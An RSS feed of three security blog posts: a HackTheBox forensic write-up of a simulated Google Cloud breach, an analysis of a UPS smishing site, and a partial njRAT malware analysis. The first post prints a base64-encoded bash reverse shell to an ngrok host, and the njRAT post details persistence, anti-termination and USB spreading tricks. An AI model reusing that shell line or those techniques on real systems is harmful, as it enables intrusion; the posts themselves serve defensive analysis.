<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aaron Stratton on Medium]]></title>
        <description><![CDATA[Stories by Aaron Stratton on Medium]]></description>
        <link>https://medium.com/@aaron_199?source=rss-cc1390803af5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nOkDSeVeGRLLifuHpUfRqA.jpeg</url>
            <title>Stories by Aaron Stratton on Medium</title>
            <link>https://medium.com/@aaron_199?source=rss-cc1390803af5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 00:52:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aaron_199/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MisCloud — HackTheBox Sherlock Writeup]]></title>
            <link>https://infosecwriteups.com/miscloud-hackthebox-sherlock-writeup-bea5403dbcc2?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/bea5403dbcc2</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 17:14:23 GMT</pubDate>
            <atom:updated>2025-04-14T05:07:26.563Z</atom:updated>
            <content:encoded><![CDATA[<h3>MisCloud — HackTheBox Sherlock Writeup</h3><h3><strong>Introduction</strong></h3><p>This sherlock from HackTheBox involves a security incident affecting the “DummyExample” e-commerce startup, which recently migrated its operations from Wordpress to a custom website hosted on Google Cloud Platform (GCP). The startup owner, John, experienced a data breach and provided network traffic capture (VPC Network Traffic.pcap) and Google Cloud logs (GCloud_Logs.json) for investigation. The GCP infrastructure includes five VM instances and Cloud Storage.</p><h3>Scenario Context</h3><ul><li>John, the startup owner, migrated from WordPress to a customized website on GCP.</li><li>Development is done on a Gitea server hosted on GCP.</li><li>Customer data is stored in Cloud Storage.</li><li>Infrastructure: <br>One Windows machine (for James) with restricted GCP permissions (Gitea access only).<br>Two Linux machines (for John).<br>One Gitea server.<br>One packet mirroring machine.</li><li>All machines have public IPs but restricted access via firewalls.</li></ul><h3><strong>Analysis</strong></h3><p><em>Task 1: What’s the private IP address of the Windows machine?</em></p><p>To identify the Windows machine’s IP address, I analyzed the network traffic in the provided packet capture (PCAP).</p><blockquote><em>tshark -r VPCNetwork_Traffic.pcap | grep “gitea”</em></blockquote><p>This command filters the network capture for packets containing “gitea”. The output reveals that the IP address 10.128.0.3 is the primary source of internally-originated requests to the Gitea server (10.128.0.4), indicating that it’s the Windows machine used by James for development tasks as described in the scenario description.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*NWtrcbxE5rsXfL2GTIs8cw.png" /></figure><p><em>Task 2: Which CVE was exploited by the threat actor?</em></p><p>To determine the exploited vulnerability, I utilized tshark, the command line version of Wireshark, to view HTTP POST requests to the Gitea server. I was looking for really anything that stuck out as unusual for any reason.</p><blockquote>tshark -r VPCNetwork_Traffic.pcap -Y “ip.dst==10.128.0.4 and http.request.method==POST”</blockquote><p>This command filters for POST requests to the Gitea server’s IP address. By inspecting the packet details (using the -x argument to dump the hex output), a specific POST request to /James/Test-Learn/settings/hooks/git/post-receive was found to contain base64-encoded data and bash commands within the request body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMvcy1ww7BIZMu-U7TWzZQ.png" /><figcaption>Beginning with POST request to the /login endpoint, I manually reviewed the requests until…</figcaption></figure><blockquote>tshark -r VPCNetwork_Traffic.pcap -Y ‘ip.dst==10.128.0.4 and http.request.method==POST and http.request.uri==”/James/Test-Learn/settings/hooks/git/post-receive”’ -x</blockquote><p>I eventually ran the above tshark command to review POST requests to the git/post-receive endpoint, and found the request in the image below with base-64 encoded content being piped into bash for execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1EFwa-XQxDPSOpzA2J9gJw.png" /></figure><p>A google search for “Gitea hooks/git/post-receive RCE CVE” identified CVE-2020–14144 as the exploited vulnerability.</p><p><em>Task 3: What is the hostname and port number to which the reverse shell was connecting?</em></p><p>The base64-encoded payload from the previous step was decoded to reveal the reverse shell connection details.</p><blockquote>echo ‘YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDUwOSAwPiYxICY=’ | base64 — decode | bash</blockquote><p>The above line being echo’d and piped to bash decodes to…</p><blockquote>bash -i &gt;&amp; /dev/tcp/0.tcp.eu.ngrok.io/14509 0&gt;&amp;1 &amp;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*coRhuEw4crNrdtoZw_ai5w.png" /><figcaption>Decoding base64 payload with cyberchef.</figcaption></figure><p>The decoded payload shows the reverse shell connecting to 0.tcp.eu.ngrok.io:14509.</p><p><em>Task 4: From which IP address was the CVE exploited, and is this threat an insider or outsider attack?</em></p><p>As established in Task 1, the Gitea exploitation originated from the Windows machine with IP address 10.128.0.3. Given that this is an internal IP address within the GCP environment, this is classified as an insider attack.</p><p><em>Task 5: Which account helped the threat actor to pivot?</em></p><p>To identify the account used for pivoting, I used the Wireshark GUI to filter on all packets with either a source or destination port of 14509, the listening port utilized by the attacker for the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDGqo7v9d9Qz8y2OxmJFZQ.png" /></figure><p>In the image above, you can see the attacker showing a clear interest in the 257145238219-compute@developer.gserviceaccount.com account.</p><p>GCloud logs were also analyzed using jq, filtering on all operations performed by the account.</p><blockquote>cat GCloud_Logs.json | jq ‘.[] | select(.protoPayload.authenticationInfo.principalEmail==”<a href="/service/mailto:257145238219-compute@developer.gserviceaccount.com">257145238219-compute@developer.gserviceaccount.com</a>”)’ | jq .protoPayload.methodName | sort | uniq -c</blockquote><p>This command extracts and counts the unique methods called by the 257145238219-compute@developer.gserviceaccount.com account. Specifically, the google.cloud.oslogin.v1.OsLoginService.CheckPolicy seemed interesting to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJ8hYxKw2SArxK63nHbf1w.png" /><figcaption>Methods called by the dev account, sorted by frequency of use.</figcaption></figure><p>Further investigation using Google’s documentation for OS Login revealed that this method is used to check OS Login policies when attempting to establish a connection. The following jq command was used to identify the instances the account logged into:</p><blockquote>cat GCloud_Logs.json | jq ‘.[] | select(.protoPayload.authenticationInfo.principalEmail==”257145238219-compute@developer.gserviceaccount.com” and .protoPayload.methodName==”google.cloud.oslogin.v1.OsLoginService.CheckPolicy”)’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KQII_fns0nFAzU6auHIoiA.png" /></figure><p>The logs show a clear pattern of the account accessing mulitple instances throughout the time period. This confirmed that the 257145238219-compute@developer.gserviceaccount.com account was used to pivot across the environment.</p><p><em>Task 6: Which machines did the threat actor log into? (sorted alphabetically)</em></p><p>The previous jq command was modified to extract and list the unique instance names.</p><blockquote>cat GCloud_Logs.json | jq ‘.[] | select(.protoPayload.authenticationInfo.principalEmail==”<a href="/service/mailto:257145238219-compute@developer.gserviceaccount.com">257145238219-compute@developer.gserviceaccount.com</a>” and .protoPayload.methodName==”google.cloud.oslogin.v1.OsLoginService.CheckPolicy”)’ | jq .protoPayload.request.instance | sort | uniq</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nRKZU-Nuq68MgLgrwd0v9w.png" /><figcaption>Instances logged into with the 257145238219-compute@developer.gserviceaccount.com account.</figcaption></figure><p>The output listed the instances accessed: linux-machine1, linux-machine2, packet-mirror-instance.</p><p><em>Task 7: What’s the original name of the sensitive file?</em></p><p>To identify the sensitive file, GCloud logs were analyzed for storage.objects.get method calls. I manually reviewed the output, again, just looking for anything that stuck out as unusual.</p><blockquote>cat GCloud_Logs.json | jq ‘.[] | select(.protoPayload.methodName==”storage.objects.get”)’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*st_4bhyuTQgBDcjjC4so0A.png" /></figure><p>This revealed a file named “Customer-Data-e7b9e806c08435793e310d7137b068fa.xlsx.”</p><p><em>Task 8: Which gcloud role did the threat actor try to assign to the storage bucket to make it publicly accessible?</em></p><p>While reviewing the storage.objects.get method calls as described above, I noted that the calls were actually being performed by a storage service account, storage-svc-acc@qwiklabs-gcp-00–848c1b920007.iam.gserviceaccount.com. I then investigated the other methods called by the storage service account using jq.</p><blockquote>cat GCloud_Logs.json | jq ‘.[] | select(.protoPayload.authenticationInfo.principalEmail==”storage-svc-acc@qwiklabs-gcp-00–848c1b920007.iam.gserviceaccount.com”)’ | jq .protoPayload.methodName | sort | uniq -c | sort -nr</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTen5eHBPMBrqaJrR_VJxg.png" /><figcaption>Methods called by the storage service account.</figcaption></figure><p>Just based on the name, the storage.objects.update method seemed relevant to the question. I again utilized jq to investigate these specific events.</p><blockquote>cat GCloud_Logs.json | jq ‘.[] | select(.protoPayload.authenticationInfo.principalEmail==”<a href="/service/mailto:storage-svc-acc@qwiklabs-gcp-00-848c1b920007.iam.gserviceaccount.com">storage-svc-acc@qwiklabs-gcp-00–848c1b920007.iam.gserviceaccount.com</a>” and .protoPayload.methodName==”storage.objects.update”)’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9OHGzmoi3LcMFzYajvVifw.png" /></figure><p>In the image above, you’ll see the “sensitive-econsumer-data” bucket having the <a href="https://cloud.google.com/storage/docs/access-control/iam-roles">storage.legacyObjectReader role</a> assigned to it.</p><p><em>Task 9: Which account led to the cloud storage data breach?</em></p><p>As noted earlier, the GCloud logs show that the storage.objects.get method to access the sensitive data was executed by the storage service account: storage-svc-acc@qwiklabs-gcp-00–848c1b920007.iam.gserviceaccount.com.</p><p><em>Task 10: Which port number was exploited by the attacker to exfiltrate data that is allowed by default ingress traffic rules in the default VPC network?</em></p><p>To identify the exfiltration port, Wireshark’s Conversations tab was used to analyze network traffic patterns. This revealed significant data transfer volume between an internal IP (10.128.0.7) and an external IP (169.150.196.101). Filtering on this conversation showed that the data exfiltration occurred over port 3389 (RDP).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15B5uZeDMrZc1wJCYSvuUg.png" /></figure><p><em>Task 11: What is the key to decrypt the encrypted file?</em></p><p>I obtained the encryption key by following the TCP stream of the storage.objects.get request for the sensitive file originating from IP 169.150.196[.]101 in Wireshark. The data gets garbled a little bit in the stream, but the key is “J@m37_h@Rd3st_k3Y_enCrypt_Exf!l7r@73&quot;. This key is used to XOR (exclusive OR) encrypt data. This means we can decrypt any data encrypted with this key by simply performing the same XOR operation against the data with the same key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THQmcE02UtdvSrT6zLgkKQ.png" /></figure><p><em>Task 12: What are the SSN and credit card numbers of “Founder John”?</em></p><p>Because of the information gained from answering the previous few questions, I knew that there would be a python script involved in all of this. I utilized the “Export HTTP Objects” feature in Wireshark to export a copy of the python script transmitted over the network for encrypting/decrypting the exfiltrated files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijffvMnu4drGjVug3oiZuA.png" /><figcaption>Exporting file-xor.py script.</figcaption></figure><p>Next, I ran the script without any command line arguments, because at this point, I did not know what arguments it expected and in what order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*Y_18qY7U_QWcZoorpHwX6A.png" /></figure><p>Easy enough. All I need is the name of the file to be decrypted, the password (key from question 11), and an output file name. I exported the encrypted sensitive xlsx file, again, using the “Export HTTP Objects” feature in Wireshark. I then ran the script again, passing the file name, the key, and the desired output file name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*1phf2lwckXcRcdHMwLempQ.png" /><figcaption>Running the encryption/decryption script.</figcaption></figure><p>I was then able to open the decrypted xlsx and view the data inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVWMPreK6goL8Tr5ZkqJCg.png" /><figcaption>Decrypted xlsx revealing the SSN for “Founder John”.</figcaption></figure><p><em>Task 13: Which Google Cloud service is an alternative to Gitea?</em></p><p>A simple google search reveals that Cloud Source Repositories is Google Cloud’s alternative to Gitea.</p><p><em>Task 14: Is it safe to use the Default Compute Engine Service Account on VM instances?</em></p><p>Generally, it’s not recommended to use the Default Compute Engine Service Account with its default broad permissions. It can grant excessive privileges to VM instances, increasing the likelihood and potential impact of breaches. This question can also be answered by reviewing some public resources on Google.</p><p><em>Task 15: Which Google Cloud service restricts data exfiltration from Cloud Storage?</em></p><p>Reviewing GCP documentation, VPC Service Controls is a Google Cloud service that helps mitigate the risk of data exfiltration from services like Cloud Storage.</p><h3><strong>Conclusion</strong></h3><p>In this HackTheBox sherlock, I investigated a series of events in a security breach within an organization’s Google Cloud Platform (GCP) environment. This breach scenario was allowed to occur and continue in large part due to a unmitigated vulnerability in the Gitea DevOps platform, and misconfigurations in mulitple services within the supporting GCP environment. I hope you enjoyed this writeup and learned a thing or two. This sherlock was a great way for me to solidify my understanding of a few core concepts of GCP and their implications for security. Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bea5403dbcc2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/miscloud-hackthebox-sherlock-writeup-bea5403dbcc2">MisCloud — HackTheBox Sherlock Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis of a Smishing Text]]></title>
            <link>https://infosecwriteups.com/analysis-of-a-smishing-text-2898a49e673d?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2898a49e673d</guid>
            <category><![CDATA[smishing]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Sun, 13 Nov 2022 00:08:10 GMT</pubDate>
            <atom:updated>2024-01-20T20:26:33.769Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Introduction</strong></h3><p>This blog post is going to be a bit different than most of the content that I post here, but I think this may interest people because it is a relatable story. Basically anybody with a cell phone has received sketchy text messages about package delivery delays, credit card payments, etc., at some point. In short, I received a Smishing (Phishing over SMS) message recently and I dug into it to see what I could uncover. Smishing is defined by the Oxford Dictionary as “the fraudulent practice of sending text messages purporting to be from reputable companies in order to induce individuals to reveal personal information, such as passwords or credit card numbers.” During my analysis of this smishing attempt, I learned a few interesting things and had some fun with it. This blog post will walk through the steps I took in my analysis and explain the findings along the way. Enjoy!</p><h3>Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*hG04lbJGKFFZDzerCYEwrA.png" /><figcaption>Figure 1. Smishing message containing link to apparent LinkedIn content.</figcaption></figure><p>So this all started with a text message from a strange number. Taking just a quick glance at it, there were a few things that instantly raised my suspicions. 1) The strange number. I have seen cases where legitimate messages come from strange looking numbers like this one, but the majority of unsolicited messages coming from numbers like that one are malicious in my experience. 2) The message is referencing a package coming from UPS which can not be delivered and needs to be scheduled for redelivery, yet the link is apparently from LinkedIn. 3) Phishing and smishing attempts related to package deliveries are extremely common. In today’s era, almost everybody has a package or two en-route to them on nearly any given day. Hearing that one of the packages needs to be scheduled for redelivery introduces elements of relevance and urgency, since most people probably want their packages delivered as soon as possible. These three things made me 100% confident that this was a smishing attempt, but what’s the fun in stopping there?</p><p>I spun up my Kali Linux VM and started burpsuite so that I could intercept, view, and modify HTTP requests to the malicious site. Then I navigated to the link from the text message, and was immediately redirected to this fake UPS page asking for my zip code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lIHXXN2DgXf2OynitdcTOQ.png" /><figcaption>Figure 2. Note the strange URL.</figcaption></figure><p>From here, I looked up the IP address of this site on Virustotal and IPvoid, and both tools indicated that this IP address had been known to be associated with phishing and smishing for approximately 8 months before writing this post (November 2022). [1] The IP associated with this fake UPS website is part of a <a href="https://www.fastly.com/products/cdn">Fastly Content Delivery Network</a> (CDN). Using CDN’s to mask true origin is a TTP commonly used in phishing and smishing campaigns. This also makes it slightly more difficult to block the websites associated with the campaign, as blocking an entire CDN IP would also block legitimate websites that are part of that CDN. So now the domain has to be blocked, but now the problem with this technique is the fact that moving the malicious content to a new domain name is fairly easy for an attacker. Such is the cat-and-mouse game of cybercrime and cybersecurity.</p><p>After entering a fake zip code, I was then brought to another page which indicated that my fictitious package was “On Hold”, and I had the option to schedule a redelivery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*A6CzafeDCmRvDPs-MVgiuA.png" /><figcaption>Figure 3. Page indicating that a package is “On Hold”, and giving the victim the option to schedule a redelivery.</figcaption></figure><p>Once I clicked on the button to schedule a redelivery, I was taken to a page where I could enter information such as name, date of birth, street address, city, state, phone number, and email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*T3JSM9CBLjXFA9Txi0GakA.png" /><figcaption>Figure 4. Form for scheduling “redelivery”</figcaption></figure><p>After entering all of that information, I was taken to a page where I could enter credit card information to pay for the redelivery. I entered some fake information, and intercepted the HTTP GET request being made with the fake card information inside. This HTTP GET request was sending all of the information I had entered in the previous forms to the Telegram secure messaging platform API, which was then sending that information to a specific Telegram group where the cybercriminal(s) are sitting and waiting for victim information to flow in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwkH5C-YP7CkaZGZXMrWcw.png" /><figcaption>Figure 5. Victim information being sent to attacker-controlled Telegram group</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*IDWeSUkjJGSFcJqh9JPEjw.png" /><figcaption>Figure 6. Formatted victim information. This is how the information would appear to the cybercriminals in the Telegram group</figcaption></figure><h3><strong>Conclusion</strong></h3><p>I had fun with this and I hope you enjoyed reading this post, and maybe even learned something. Just like most people, I get similar phishing/smishing messages once in a while, but usually by the time I can analyze them, the associated infrastructure has been taken down. Luckily for me, that was not the case with this one, however I hope that not many people were victimized by this scam. If you enjoyed this post, please come back again! A follow and share would be super appreciated, and feedback is welcome as well.</p><h3>References</h3><p>[1] <a href="https://www.virustotal.com/gui/ip-address/199.36.158.100/community">https://www.virustotal.com/gui/ip-address/199.36.158.100/community</a></p><h4>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. <a href="https://weekly.infosecwriteups.com/">Join our weekly newsletter</a> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2898a49e673d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/analysis-of-a-smishing-text-2898a49e673d">Analysis of a Smishing Text</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[njRAT Malware Analysis]]></title>
            <link>https://infosecwriteups.com/njrat-malware-analysis-8e90dce07a9e?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e90dce07a9e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[computers]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Sat, 08 Oct 2022 02:04:50 GMT</pubDate>
            <atom:updated>2022-10-09T14:32:25.389Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WomyMJ0kv4X9RsY3QBZ3WA.jpeg" /><figcaption>Image credit: bleepingcomputer.com (<a href="https://www.bleepingcomputer.com/news/security/youtube-bitcoin-scams-pushing-the-njrat-backdoor-infostealer/">https://www.bleepingcomputer.com/news/security/youtube-bitcoin-scams-pushing-the-njrat-backdoor-infostealer/</a>)</figcaption></figure><h3>Introduction</h3><p>njRAT (AKA Bladabindi) is described as “a remote access trojan (RAT) has capabilities to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command &amp; Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives.” [1]</p><h3>Technical Analysis</h3><ul><li>SHA256: 0f22ffb2a3bb386062e7c613e5a81b819f8615c1af8b45eb18778b714cf1ea78</li></ul><p>Luckily for me, njRAT is written in the C# language, which means that I was able to simply decompile the sample in dnSpy and analyze the C# source code, rather than have to use a disassembler like Ghidra or IDA and reverse engineer in assembly language and pseudocode.</p><h4>Mutex and Initialization</h4><p>The main function of this sample calls the method OK.ko(), which will carry out some of the initial actions, one them being the creation of a new mutex. The malware attempts to open a new mutex named “9e352eebda58736627852c7e3cc9652b”. This mutex name string is stored in the RG string (Figure 3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*2Z2kgwjNFBiP0Z2LSaIqQA.png" /><figcaption>Figure 1. Main function calling the OK.ko() method.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/310/1*co-J36cyvr3hERP0MKKStg.png" /><figcaption>Figure 2. Opening new mutex.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*OHBG2C9X_MV2clIq7Tua2Q.png" /><figcaption>Figure 3. Mutex name string stored in OK.RG string.</figcaption></figure><p>If the malware is not able to open the mutex, it will exit using the ProjectData.EndApp() method.</p><p>Next, the malware will call the OK.INS() method, which can be thought of as an initialization method, as it performs a lot of the “overhead” work needed before njRAT can execute its full functionality. This overhead includes establishing persistence and modifying firewall rules, but first it checks if there is a file called server.exe in the TEMP directory. If there is, the malware deletes the original server.exe, copies itself to a new server.exe file and then continues its execution as a new server.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*ORtHIHcXt8kmYsG-99CIUw.png" /><figcaption>Figure 4. INS method performing check for server.exe file in TEMP directory.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*pqdL0D97DKwLbtylzz--qQ.png" /><figcaption>Figure 5. “TEMP” and “server.exe” strings.</figcaption></figure><p>Next, njRAT adds a firewall rule to allow it to communicate over the network, allowing it to connect to its C2 server later on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*a1vCBKAchPOikjCQ81yq1A.png" /><figcaption>Figure 6. Adding firewall rule to allow network communication for the RAT.</figcaption></figure><h4>Persistence</h4><p>njRAT uses two very simple techniques for establishing redundant persistence. First, the malware creates a subkey named “9e352eebda58736627852c7e3cc9652b” under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, with the value being the name of the njRAT executable, which is w.exe in this case. It then performs the same process in the HKLM hive, allowing the malware to persist on the computer, across all possible users. Once those registry subkeys have been created, njRAT adds an additional layer of persistence by again copying itself, this time into a hidden file named “9e352eebda58736627852c7e3cc9652b.exe” residing in the user’s startup folder, meaning that the executable will be run every time windows starts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*IhElQdFC28ErMdUbjkJj2g.png" /><figcaption>Figure 7. Establishing persistence in the registry.</figcaption></figure><h4>Evasion/Anti-Analysis</h4><p>njRAT employs some interesting evasion/anti-analysis techniques. Also within the OK.INS() method, njRAT attempts to kill a targeted process which must be specified in the builder before deploying the malware. The image below, from a github repository hosting a version of the RAT [2], shows what the builder looks like. Note the “Exsample.exe” in the Kill Process dialog box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*omHr6GCSajf542g3.png" /><figcaption>Figure 8. njRAT builder.</figcaption></figure><p>It appears that this particular sample is not utilizing the kill process functionality, as the target process specified in the anti string is “Exsample.exe”, the default string used in the builder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*NREFhuZtqYwpuF1pC3JozA.png" /><figcaption>Figure 9. taskkill command being used to kill target process, which is stored in OK.anti string.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*Mtr7KTiJRgb_WNePyZym5A.png" /><figcaption>Figure 10. OK.anti string.</figcaption></figure><p>njRAT also checks if a few processes of interest are running, specifically Task Manager, Process Viewer, Process Hacker, and Process Explorer. These are all tools that can be used to examine and kill running processes. If any of these target processes are running, njRAT appears to actually disable the process termination buttons in those processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBkHrHRebV-E65-qWewzoQ.png" /><figcaption>Figure 11. Checking for process monitoring tools.</figcaption></figure><p>njRAT employs one more interesting trick, this one I had not seen before. The malware uses NtSetInformationProcess and GetCurrentProcess to protect the malware process from being terminated in any way. The PInformationClass parameter of the current process is set to the value 0x1D (29 in decimal), which is equivalent to BreakOnTermination, meaning that the infected computer will BSOD (Blue Screen of Death) if the malware process is manually terminated. [3]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*Q9qCB9FkhH9PuS_yM2NbYg.png" /><figcaption>Figure 12. Modifying the njRAT process to crash the infected computer if terminated.</figcaption></figure><h4>USB Propagation</h4><p>njRAT is also capable of propagating through USB drives. If a USB drive is connected to the infected computer, the malware copies the svchost executable from the computer into a new svchost executable on the USB drive. The malware then copies itself into the USB drive’s svchost executable, masquerading the malware as a legitimate executable. The malicious svchost executable is then made hidden, so it won’t be seen on the USB drive unless the user is specifically looking for hidden files on that USB drive. The malware then writes commands to the autorun.inf file to execute the malicious svchost executable anytime the USB drive is plugged into a computer. Now, when the USB drive is plugged into a computer, it will execute as svchost.exe. Of note, since Windows Vista, Windows computers will not automatically execute autorun executables from disks and USB drives as they did in the past. Users are now required to approve the autorun on the computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*9omxTy1oiJIDC6kJz5TwUA.png" /><figcaption>Figure 13. Copying svchost.exe onto USB drive and writing to autorun.inf file.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*hq0mD785gQc13Xcpxm_yZQ.png" /><figcaption>Figure 14. OK.usbx string.</figcaption></figure><h4>Command and Control (C2)</h4><p>njRAT sends a registration message to the C2 server when connecting. This registration message contains info like the Windows OS version, Windows OS service pack, date, username, attached webcams, architecture, and select registry keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*ItyTEMIw5ZrPa1kXH1u1ZQ.png" /><figcaption>Figure 15. Gathering system info for registration message.</figcaption></figure><p>Once the registration message has been formed, it is sent to the C2 server. The C2 IP address is stored in the OK.H string which points to the HH string, and the C2 listening port is stored in the OK.P string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*yb4iRTWWP0KDJSfc5qGQlA.png" /><figcaption>Figure 16. Sending registration message to C2 server.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*K-d6zBv8Jw2O8TTFZ-IC9Q.png" /><figcaption>Figure 17. C2 server address stored in the OK.HH string</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/239/1*ZSeLjfkHe4j3syucJkfOgQ.png" /><figcaption>Figure 18. C2 server listening port stored in OK.P string.</figcaption></figure><p>Interesting to note, the C2 server’s real IP address is hidden behind the portmap.io service. Portmap.io is a free port forwarding solution which uses a VPN and port forwarding to hide the IP addresses of customers using the service. Threat actors have been observed using this service in the past with other strains of malware.</p><p>Now that the infected computer has connected to the C2 server, njRAT will now wait for commands to be issued by the C2 server. Within the Ind method, the malware then uses the CompareString() method to compare the command issued by the C2 server to the known commands that it is able to execute. When there is a match, njRAT executes the command’s corresponding functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yKAxCcroeTCrrWRnjJ6k6w.png" /><figcaption>Figure 19. Comparing commands issued by C2 to the known commands njRAT is able to execute.</figcaption></figure><p>The commands that njRAT is able to execute include: Downloading files from the internet, disabling task manager, disabling the command prompt, turning off monitors, keylogging, and shutting the computer down just to name a few.</p><h4>Self-Deletion</h4><p>njRAT is able to remove itself from the infected computer if the operator desires. The malware will delete the registry subkeys it created, delete the firewall rule it created for its C2 communication, delete itself from the startup folder, and the delete itself entirely from disk and end its process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*3NE5YR4NfClg_OkGfKFDng.png" /><figcaption>Figure 20. njRAT self-deletion function.</figcaption></figure><h3>Conclusion</h3><p>Check out my yara rules repo on github!</p><ul><li><a href="https://github.com/AaronS97/Yara-Rules">https://github.com/AaronS97/Yara-Rules</a></li></ul><p>I hope you enjoyed this post, and that you’ll come back again! A follow and share would be super appreciated. Feedback is certainly welcome as well.</p><h3>References</h3><p>[1] <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat</a></p><p>[2] <a 